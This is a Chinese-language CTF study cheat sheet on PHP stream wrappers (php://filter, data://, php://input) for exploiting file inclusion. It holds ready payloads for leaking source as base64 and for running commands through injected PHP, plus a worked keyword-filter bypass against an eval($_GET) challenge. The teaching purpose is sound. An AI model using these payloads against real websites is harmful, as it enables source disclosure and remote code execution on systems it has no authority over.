伪协议速查表(PHP)

伪协议速查表(PHP)

适用:文件包含(include/require)题、任意文件读取题 记忆口诀:读文件用 filter,执行用 data/input


一、什么是伪协议(一句话原理)

PHP 的 include / file_get_contents 等函数读的不一定是磁盘文件,还可以是"协议流"(由 PHP 生成的内容)。伪协议 = 这些特殊流。

支持伪协议的函数:include / require / include_once / require_once / file_get_contents / readfile / file / fopen

关键配置:

  • allow_url_include=On:data:// 和 php://input 才可用(CTF 环境一般开着)
  • allow_url_fopen:默认 On

二、4 个必记协议

① php://filter —— 读源码(最最常用)

// 读 PHP 文件内容(base64 编码,避免被当作代码执行)
php://filter/read=convert.base64-encode/resource=flag.php

// 变体:省略 read=(等价)
php://filter/convert.base64-encode/resource=flag.php

// 变体:读文件内容原样输出(非 PHP 文件时用)
php://filter/resource=flag.txt

// 变体:多过滤器(进阶,绕过时用)
php://filter/read=convert.iconv.utf-8.utf-16/convert.base64-encode/resource=flag.php

⚠️ base64 输出里可能带 + / =,在 URL 中会被编码成 %2B %2F %3D,看到这种记得 urldecode

② data:// —— 直接执行代码

// 塞一段 PHP 代码执行(<?= 是短标签,等价 <?php echo)
data://text/plain,<?=system('tac flag.php');?>

// 普通文本(配合 include 输出文本内容)
data://text/plain,hello

③ php://input —— POST 内容当代码

// URL 里写:php://input
// POST 请求体里写:<?php system('tac flag.php');?>

④ 其它(了解即可)

php://temp / php://memory   临时/内存流
expect://命令               执行命令(需装 expect 扩展,基本遇不到)
php://filter/string.rot13   过滤器:rot13 加密(绕过过滤时用)

三、场景速查表

场景 用什么 例子
include 了 PHP 文件,想看源码 php://filter + base64 ?file=php://filter/read=convert.base64-encode/resource=index.php
include 可控,想执行代码 data:// 或 php://input ?file=data://text/plain,<?=phpinfo();?>
有文件包含但过滤了关键字 过滤器链 / 编码绕过 convert.iconv 链、rot13、二次编码
读非 PHP 文件(txt/json) php://filter/resource= 或直接路径 ?file=flag.txt

四、考点总结(CTF 怎么考)

  1. 经典套路:include $_GET['file'] → ?file=php://filter/read=convert.base64-encode/resource=flag.php → base64 解码拿 flag
  2. 配合过滤绕过:过滤了 ; → 用 ?> 当分号(PHP 闭合标签=隐式分号);过滤了关键字 → 把 payload 挪到未过滤的参数(见《文件包含》案例题)
  3. 过滤器链(进阶):convert.iconv.* 多过滤器组合可以构造任意字符,用于绕过更严格的过滤(如只能读部分字符)
  4. php://input 需要 allow_url_include=On,题目开不了的话用 data:// 代替

五、实战案例(小迪题:分号过滤 + 伪协议)

// 源码:eval($_GET['c']),过滤 flag|system|php|cat|sort|shell|.|echo|;
// 绕过:分号用 ?> 代替,payload 挪到未过滤的 a 参数

?c=include $_GET[a] ?>&a=php://filter/read=convert.base64-encode/resource=flag.php
// 或
?c=include $_GET[a] ?>&a=data://text/plain,<?=system('tac flag.php');?>

两层绕过:

  1. ; 被过滤 → ?> 隐式分号收尾
  2. system/flag/php/. 被过滤 → 全部塞进未过滤的 a 参数

速查表持续补充,遇到新考法随时更新。